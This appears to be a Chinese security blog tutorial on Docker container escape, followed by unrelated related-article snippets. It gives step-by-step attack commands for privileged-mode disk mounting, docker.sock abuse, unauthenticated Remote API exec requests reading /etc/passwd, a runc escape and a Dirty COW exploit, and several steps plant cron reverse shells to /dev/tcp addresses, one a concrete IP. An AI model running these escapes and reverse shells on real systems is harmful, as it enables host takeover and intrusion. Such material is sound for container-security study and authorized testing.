Docker逃逸
文章目录
- 原理
- 环境搭建
- Docker 环境判断
- Docker 容器逃逸
- 特权模式逃逸
- 如何判断是否为特权模式
- 逃逸
- docker.sock挂载逃逸
- 逃逸
- Remote API未授权访问
- 未授权访问
- 逃逸
- 容器服务缺陷逃逸
- 影响版本
- 环境搭建
- 逃逸
- 脏牛漏洞逃逸
- 参考
原理
docker其实就是一个linux下的进程,它通过NameSpace 等命令实现了内核级别环境隔离(文件、网络、资源),所以相比虚拟机而言,Docker 的隔离性要弱上不少 ,这就导致可以通过很多方法来进行docker逃逸。
环境搭建
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o docker.sh && bash docker.sh
Docker 环境判断
1、查找.dockerenv文件
docker下默认存在dockerenv文件,而非docker环境中则没有

2、查询cgroup进程
cat /proc/1/cgroup

3、查看容器环境变量
cat /proc/1/environ

Docker 容器逃逸
特权模式逃逸
以特权模式启动时,docker容器内拥有宿主机文件读写权限,可以通过写ssh密钥、计划任务等方式达到逃逸。
如何判断是否为特权模式
在suid提权中SUID设置的程序出现漏洞就非常容易被利用,所以 Linux 引入了 Capability 机制以此来实现更加细致的权限控制,从而增加系统的安全性
当容器为特权模式时,将添加如下功能:使用指南 - 特权容器

但这里并不能说拥有以上某种功能就是特权容器,因为特权容器还需满足:
- 必须缺少AppArmor配置文件,否则将允许mount syscall
- 能够“看到”很多敏感的dev设备
上述两个条件目前还不知道如何获取,所以重点看下特权容器中获取的 Cap 集合
root@227b7e10b9a6:/# cat /proc/1/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000001fffffffff
CapEff: 0000001fffffffff
CapBnd: 0000001fffffffff
CapAmb: 0000000000000000
CapEff 主要是检查线程的执行权限,所以重点看下利用 capsh --decode=0000003fffffffff 进行解码,检索默认没有添加的 NET_ADMIN,发现存在

而非特权容器的 Cap 集合值并进行解码,发现并不存在 NET_ADMIN
因此当执行 cat /proc/1/status | grep Cap 查询对应出来的值为 0000003fffffffff 那么就有可能是特权容器,可尝试逃逸
逃逸
1、首先以特权模式运行一个docker容器
docker run -it --privileged 镜像id /bin/bash
2、查看磁盘文件
fdisk -l

3、新建一个目录,将/dev/vda1挂载至新建的目录
mkdir /test
mount /dev/vda1 /test
4、写入计划任务到宿主机
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
5、成功反弹shell

docker.sock挂载逃逸
Docker采用C/S架构,我们平常使用的Docker命令中,docker即为client,Server端的角色由docker daemon(docker守护进程)扮演,二者之间通信方式有以下3种:
1、unix:///var/run/docker.sock
2、tcp://host:port
3、fd://socketfd
其中使用docker.sock进行通信为默认方式,当容器中进程需在生产过程中与Docker守护进程通信时,容器本身需要挂载/var/run/docker.sock文件。
本质上而言,能够访问docker socket 或连接HTTPS API的进程可以执行Docker服务能够运行的任意命令,以root权限运行的Docker服务通常可以访问整个主机系统。
因此,当容器访问docker socket时,我们可通过与docker daemon的通信对其进行恶意操纵完成逃逸。若容器A可以访问docker socket,我们便可在其内部安装client(docker),通过docker.sock与宿主机的server(docker daemon)进行交互,运行并切换至不安全的容器B,最终在容器B中控制宿主机。
逃逸
1、运行一个挂载/var/run/的容器
docker run -it -v /var/run/:/host/var/run/ 5d2df19066ac /bin/bash
2、寻找下挂载的sock文件
find / -name docker.sock

3、在容器内安装client,即docker
apt-get update
apt-get install docker.io
4、查看宿主机docker信息
docker -H unix:///host/var/run/docker.sock info
5、运行一个新容器并挂载宿主机根路径
docker -H unix:///host/var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash

6、写入计划任务到宿主机
echo '* * * * * bash -i >& /dev/tcp/ip/4000 0>&1' >> /test/var/spool/cron/root
Remote API未授权访问
docker swarm中默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。
未授权访问
当使用官方推荐启动方式时
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
在没有其他网络访问限制的主机上使用,则会在公网暴漏端口。

1、此时访问/containers/json,便会得到所有容器id字段

2、创建一个 exec
POST /containers/<container_id>/exec HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json
Content-Length: 188{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true
}
发包后返回exec的id参数

3、执行exec中的命令,成功读取passwd文件
POST /exec/<exec_id>/start HTTP/1.1
Host: <docker_host>:PORT
Content-Type: application/json{"Detach": false,"Tty": false
}

这种方式只是获取到了docker主机的命令执行权限,但是还无法逃逸到宿主机。因此还是需要写公钥或者计时任务进行逃逸
逃逸
1、在容器内安装docker
apt-get update
apt-get install docker.io
2、查看宿主机docker镜像信息
docker -H tcp://ip:2375 images

3、启动一个容器并将宿主机根目录挂在到容器的test目录
docker -H tcp://ip:2375 run -it -v /:/test 5d2df19066ac /bin/bash
4、计时任务反弹shell
echo '* * * * * bash -i >& /dev/tcp/101.200.208.44/4000 0>&1' >> /test/var/spool/cron/root
容器服务缺陷逃逸
runc是一个底层服务工具,runC 管理容器的创建,运行,销毁等,docker部分版本服务运行时底层其实在运行着runc服务,攻击者可以通过特定的容器镜像或者exec操作重写宿主机上的runc 二进制文件,并在宿主机上以root身份执行命令。
影响版本
docker version <=18.09.2
RunC version <=1.0-rc6
环境搭建
由于对版本有限制,所以用之前docker中的ubuntu环境搭建符合漏洞版本的docker,参考Ubuntu安装指定版本的docker - 朝花夕拾 - SegmentFault 思否
1、安装 apt 依赖包,用于通过HTTPS来获取仓库
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
2、添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
3、设置稳定版仓库(添加到/etc/apt/sources.list中)
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
4、更新apt-get
apt-get update
5、查询docker-ce版本
apt-cache policy docker-ce
6、安装指定版本docker
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
逃逸
1、编译payload中反弹shell地址

2、编译生成payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
3、编译好后传入docker容器中
docker cp main 1fa6a736e332:/home
docker exec -it 1fa6a736e332 /bin/bash
cd /home/
chmod 777 main
4.运行main程序成功反弹shell
./main
脏牛漏洞逃逸
Dirty Cow是Linux内核中的提权漏洞,源于Linux内核的内存子系统在处理写入拷贝时存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
docker和宿主机共享内核,因此就可利用该漏洞进行逃逸
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
docker-compose run dirtycow /bin/bashcd /dirtycow-vdso/
make
./0xdeadbeef ip:port // 反弹shell
参考
Docker逃逸小结第一版 更新 - 先知社区 (aliyun.com)
初识Docker逃逸 - FreeBuf网络安全行业门户
Docker 容器逃逸入门 – 天下大木头 (wjlshare.com)
Docker Remote API未授权访问+docker逃逸导致Getshell漏洞复现 - 小阿辉谈安全 - 博客园 (cnblogs.com)
相关文章:
Docker逃逸
文章目录原理环境搭建Docker 环境判断Docker 容器逃逸特权模式逃逸如何判断是否为特权模式逃逸docker.sock挂载逃逸逃逸Remote API未授权访问未授权访问逃逸容器服务缺陷逃逸影响版本环境搭建逃逸脏牛漏洞逃逸参考原理 docker其实就是一个linux下的进程,它通过Name…...
k8s项目部署
k8s命令k8s项目部署部署流程实现导出相应的yaml文件 kubectl create deployment 名字--image镜像-o yaml --dry-runclient > 文件名 例: kubectl create deployment nginx --imagenginx -o yaml --dry-runclient > m1.yaml导出已经部署后的yaml文件 kubectl g…...
Modbus通信协议学习笔记
Modbus主从设备 主控设备(Modbus Master):工控机、PLC、触摸屏等等 从设备(Modbus Slave):PLC、Modbus采集模块、带485通讯的传感器、仪器仪表等等 Modbus物理接口:串口(RS232、RS4…...
ubuntu重启、关机命令
// // // //之前用linux系统, 一键解决也是可以的,反正我每次用命令(泪目…),中间崩了好几次,换回win,此篇也做记录 // // // 重启命令 以下所有命令在root根目录下输入(普通用户&…...
Xshell 7 连接云服务器的步骤和出现的错误
一、工具准备云服务器Xshell 7二、使用 Xshell 7 连接数据库三、新建会话属性后,没有自动弹出 SSH 用户名要求输入四、SSH 用户身份验证不能输入 Password五、Xshell 连接 centos 7 服务器 报错提示 “ssh服务拒绝了密码,请再试一次“,但是密…...
Python多进程同步——文件锁
多个进程共享同一份资源(共享内存、文件等)时,会涉及到资源竞争问题。为了解决这种问题,一般采取的措施是进程在访问资源前加锁保护,避免多个进程同时读写。本文介绍的Python文件锁可以用来解决多进程的同步问题。 目录…...
实现 element-plus 表格多选时按 shift 进行连选的功能
前言 element-plus表格提供了多选功能,可单击勾选一条数据,可全选。 现在有个很合理的需求,希望实现类似于文件系统中shift连续选择功能,并且在表格排序后,依照排序后的顺序连选。 一、el-table 多选表格基本使用 1、…...
华为OD机试真题JAVA实现【考古学家】真题+解题思路+代码(20222023)
🔥系列专栏 华为OD机试(JAVA)真题目录汇总华为OD机试(Python)真题目录汇总华为OD机试(C++)真题目录汇总华为OD机试(JavaScript)真题目录汇总文章目录 🔥系列专栏题目输入输出示例一输入输出说明示例二输入输出说明...
Spring3之基于Aspect实现AOP
简介 使用 Aspect 搭配 Spring 可轻松实现 AOP;本章将通过一个完整示例演示如何实现这一功能 实现步骤 修改 beans.xml 配置文件的 schema 部分;可以在 spring-framework-reference.html 文件通过搜索关键字 “/aop” 找到配置 schema,然后…...
buctoj-寒假集训进阶训练赛(二十二)
问题 A: Stones 题目描述 由于自行车状态错误,森普尔开始每天早上从东到西走,每天晚上走回去。走路可能会有点累,所以森普这次总是玩一些游戏。 路上有很多石头,当他遇到一块石头时,如果是他遇到的奇数石头࿰…...
华为OD机试真题JAVA实现【静态扫描最优成本】真题+解题思路+代码(20222023)
🔥系列专栏 华为OD机试(JAVA)真题目录汇总华为OD机试(Python)真题目录汇总华为OD机试(C++)真题目录汇总华为OD机试(JavaScript)真题目录汇总文章目录 🔥系列专栏题目输入输出描述示例一输入输出说明示例二输入输出说明...
汽车装配工厂立库物料运送线PLC无线应用
一、应用背景此次项目地在比亚迪的西安工厂,需要实现PLC无线通讯的地方是汽车厂的立体仓库物料运输线。生产物流担负运输、存储、装卸物料等任务。汽车制造业是典型的多工种、多工艺、多物料的大规模生产过程,因此原材料与零部件必需及时准确送至工位&am…...
Python雪花代码
前言 用python画个雪花玩玩,源码在文末公众号哈。 雪花类 class Snow(): #雪花类 def __init__(self): self.r 6 #雪花的半径 self.x ra.randint(-1000,1000) #雪花的横坐标 self.y ra.randint(-500,5…...
Numpy基础与实例——人工智能基础
文章目录一、Numpy概述1. 优势2. numpy历史3. Numpy的核心:多维数组4. 内存中的ndarray对象4.1 元数据(metadata)4.2 实际数据二、numpy基础1. ndarray数组2. arange、zeros、ones、zeros_like3. ndarray对象属性的基本操作3.1 修改数组维度3…...
MQTT的工作原理
介绍MQTT协议的消息模型,消息传输过程,消息发布和订阅。 一、介绍MQTT协议的消息模型 MQTT协议的消息模型被称为“主题”模型。在这种模型中,服务器接收到的消息将通过主题进行分类。客户端可以通过订阅一个或多个主题来接收所需的消息。 1.1 消息主题 1.2 消息内容 1.…...
iOS开发:UINavigationController自定义返回按钮,系统导航支持侧滑返回
当你使用系统导航想拦截用户返回事件时,无法拦截侧滑返回 当你自定义导航或者隐藏导航后,iOS系统导航的侧滑返回就失效了,那么用户体验将大打折扣 网上大部分自定义导航的解决方案是:给页面添加全局的轻扫手势,那么又区别于原生系统,改变了用户的操作习惯 在开发过程中,…...
【Kafka进阶】-- unclean.leader.election.enable参数的内涵
一、背景近期,我们的kafka 消息队列集群(1.x版本)经过了一次事故。某节点意外宕机,导致 log 文件损坏,重启 kafka 失败,最后导致某个 topic 的分区不可用,本文对此做了简单的分析、解决和复现参考,以此为记…...
基于redis实现分布式锁
前言 我们的系统都是分布式部署的,日常开发中,秒杀下单、抢购商品等等业务场景,为了防⽌库存超卖,都需要用到分布式锁。 分布式锁其实就是,控制分布式系统不同进程共同访问共享资源的一种锁的实现。如果不同的系统或…...
C#开发的OpenRA动态加载插件DLL里的类实现
C#开发的OpenRA动态加载插件DLL里的类实现 由于这款游戏的设计是为了开源设计, 并且可以让不同个人或团体实现自己的游戏, 那么每个人实现的代码是不一样的,算法也是不一样的。 并且可能也拿不到代码一起编译生成一套运行的代码。 这时候,就要考虑使用动态加载类的功能。 意…...
网站代理是什么?有什么需要注意的?
如今,网站代理已经成为一种不可或缺的经营方式。无论是企业还是个人,都需要通过代理来获得更多的流量和市场份额。 一、网站代理的优势 网站代理的优势在于能够为您提供更加专业、周到的服务。这些优势包括:1.丰富的内容资源,能…...
工业设计必看:SolidWorks曲面建模中的NURBS核心原理与7个避坑指南(2024版)
工业设计进阶:SolidWorks曲面建模中的NURBS核心原理与高阶实践(2024版) 在汽车外壳的流线型曲面或消费电子产品的有机形态背后,NURBS(非均匀有理B样条)技术始终是工业设计软件的核心引擎。作为SolidWorks等…...
手把手教学:用LongCat动物百变秀快速生成动物拟人化表情包和头像
手把手教学:用LongCat动物百变秀快速生成动物拟人化表情包和头像 1. 为什么选择LongCat动物百变秀 在当今社交媒体时代,个性化的动物表情包和头像已经成为网络交流的重要组成部分。LongCat动物百变秀是一款基于美团开源模型的本地化AI图像编辑工具&…...
从零构建MAX30102心率血氧监测系统
1. MAX30102传感器基础认知 第一次接触MAX30102时,我盯着这个5mm3mm的小芯片看了半天——很难想象这么小的器件能同时测量心率和血氧。它本质上是个光电生物传感器,工作原理就像用手电筒照手指:内置的红光(660nm)和红外光(880nm)LED穿过皮肤组…...
STM32CubeMX定时器避坑指南:为什么你的中断总是不触发?
STM32CubeMX定时器避坑指南:为什么你的中断总是不触发? 第一次使用STM32CubeMX配置定时器中断时,很多开发者都会遇到一个令人抓狂的问题——代码编译下载后,中断就像睡着了一样毫无反应。LED灯不闪烁、串口没输出、变量不更新&…...
Webflux fromXXX对比
Mono.fromFuture和Mono.fromSupplier 刚开始尝试使用 Spring WebFlux 的时候,很多人都会使用 Mono.fromFuture() 将异步请求转成 Mono 对象,或者 Mono.fromSupplier() 将请求转成 MOno 对象,这两种方式在响应式编程 中都是不建议的࿰…...
TIG电弧熔池一体化与MIG电弧熔滴蒸汽一体化
TIG电弧熔池一体化MIG电弧熔滴蒸汽一体化最近在搞焊接数值模拟的朋友估计都被TIG和MIG的热力耦合模型折腾过。这俩工艺看着都是电弧焊,实际在建模时完全不是一个次元的难度。今天咱们就扒一扒TIG熔池和MIG熔滴这对冤家的建模套路。先说TIG电弧熔池一体化建模。核心难…...
【计算机组成原理】1 计算机组成原理学习路线:从晶体管到云架构的知识图谱
1 为什么你需要一张知识图谱 计算机组成原理是计算机科学的核心基石,它研究计算机硬件系统的基本组成原理、逻辑实现及工作机制。对于计算机专业学生或软件开发者而言,理解"代码如何在硬件上运行"不仅是应试需要,更是性能优化、系统…...
M5Stack U126 RTC驱动库:PCF8563T嵌入式实时时钟深度解析
1. 项目概述M5Unit-RTC 是专为 M5Stack 生态中 Unit 系列模块设计的轻量级实时时钟(RTC)驱动库,对应硬件型号为U126—— 一款基于Ricoh RP5C01A 兼容架构、实际采用 NXP PCF8563T 实时时钟芯片的 IC 接口 RTC 模块。该模块集成高精度温度补偿…...
PWM技术原理与电机调速应用详解
PWM技术原理与电机调速应用详解1. PWM基础概念解析1.1 脉冲宽度调制定义PWM(Pulse Width Modulation)即脉冲宽度调制,是一种通过调节脉冲信号的宽度(占空比)来实现能量控制的电子电力技术。该技术在直流电机调速、开关电源、逆变器等电力电子领域有广泛应用。1.2 脉…...
C++的std--ranges算法自定义比较器与等价关系在集合操作中的运用
C20引入的std::ranges库为算法操作带来了革命性改进,其中自定义比较器与等价关系的灵活运用,显著提升了集合操作的表达能力。通过精确控制元素间的比较逻辑,开发者能够实现更复杂的业务需求,例如处理自定义对象集合或实现非标准排…...
